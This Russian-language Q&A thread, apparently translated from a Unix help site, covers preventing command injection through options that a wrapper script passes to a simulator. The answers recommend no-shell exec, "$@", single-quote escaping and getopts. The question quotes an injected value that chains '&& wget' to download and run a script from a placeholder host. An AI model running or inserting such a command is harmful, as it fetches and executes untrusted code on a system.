Как предотвратить внедрение команд через параметры команды?


13

У меня есть приложение-обертка, где мне нужно разрешить пользователю указывать пользовательские параметры для передачи в симулятор. Однако я хочу убедиться, что пользователь не вводит другие команды через пользовательские опции. Какой лучший способ сделать это?

Например.

  • Пользователь предоставляет: -a -b
  • Приложение выполняет: mysim --preset_opt -a -b

Однако я не хочу, чтобы это произошло:

  • Пользователь предоставляет: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
  • Приложение выполняет: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh

В настоящее время я думаю, что я мог бы просто окружить каждую предоставленную пользователем опцию одинарными кавычками 'и убрать любые предоставленные пользователем одинарные кавычки, чтобы команда в последнем примере оказалась безвредной:

mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

Примечание. mysimКоманда выполняется как часть сценария оболочки в контейнере docker / lxc. Я использую Ubuntu.


Вы используете evalдля запуска приложения? Если нет, укол не должен произойти:x="&& echo Doomed" ; echo $x
Чороба

1
Нет, я не использую eval. Я вызываю исполняемый файл mysimвнутри сценария оболочки. Я вижу, как происходит внедрение, если я просто копирую строку параметров, предоставленных пользователем, и вставляю ее в конце mysimкоманды.
Виктор Любославский

Приложение-оболочка копирует и вставляет строку параметров?
Чороба

Да, пользовательские параметры представлены в виде одной строки, например -a -b. Поэтому я хочу убедиться, что дополнительные команды не вводятся в эту строку.
Виктор Любославский

1
Можете ли вы белый список? только разрешение персонажей [a-zA-Z0-9 _-]выглядит довольно оборонительным выбором.
Ульрих Шварц

Ответы:


6

Если у вас есть контроль над программой-оболочкой, убедитесь, что она не вызывает подоболочку. В глубине души инструкция по выполнению программы состоит из полного пути (абсолютного или относительно текущего каталога) к исполняемому файлу и списка строк, передаваемых в качестве аргументов. Поиск в PATH, аргументы, разделяющие пробелы, операторы цитирования и управления - все это обеспечивается оболочкой. Нет раковины, нет боли.

Например, для оболочки Perl используйте форму списка execили system. Во многих языках вызывайте одну из функций execили execXXX(или как unix.execбы она ни называлась) вместо system, или os.spawnс помощью shell=False, или как угодно.

Если оболочка является сценарием оболочки, используйте "$@"для передачи аргументов, например

#!/bin/sh
mysim -preset-opt "$@"

Если у вас нет выбора, и программа-оболочка вызывает оболочку, вам необходимо заключить аргументы в кавычки, прежде чем передавать их в оболочку. Простой способ процитировать аргументы заключается в следующем:

  1. В каждом аргументе замените каждое вхождение '(одинарная кавычка) строкой из четырех символов '\''. (например, don'tстановится don'\''t)
  2. Добавьте 'в начале каждого аргумента, а также в конце каждого аргумента. (например, из don't, don'\''tстановится 'don'\''t')
  3. Объедините результаты с пробелом между ними.

Если вам нужно сделать это в оболочке оболочки, вот способ.

arguments='-preset-opt'
for x; do
  arguments="$arguments '"
  while case $x in
    *\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
    *) false;; esac
  do :; done
  arguments="$arguments$x'"
done

(К сожалению, ${VAR//PATTERN/REPLACEMENT}конструкция bash , которая здесь пригодится, требует необычных кавычек, и я не думаю, что вы можете получить '\''в качестве замены текст.)


1

Вы можете использовать Bash - ${VAR//PATTERN/REPLACEMENT}идиомы , чтобы превратить апостроф 'в '\''сначала положить '\''в переменную (как промежуточный этап) , а затем расширяет эту переменную в качестве REPLACEMENTэлемента в упомянутом Баш идиомы.

# example 
{
str="don't"
escsquote="'\''"
str="'${str//\'/${escsquote}}'"
printf '%s\n' "$str"   #  'don'\''t'
}

0

Вы можете использовать getoptsв bashкотором можно проанализировать аргументы для вас, например:

while getopts a:b: opts; do
  case ${opts} in
    a)
      A=${OPTARG}
      ;;
    b)
      B=${OPTARG}
      ;;
  esac
done
Используя наш сайт, вы подтверждаете, что прочитали и поняли нашу Политику в отношении файлов cookie и Политику конфиденциальности.
Licensed under cc by-sa 3.0 with attribution required.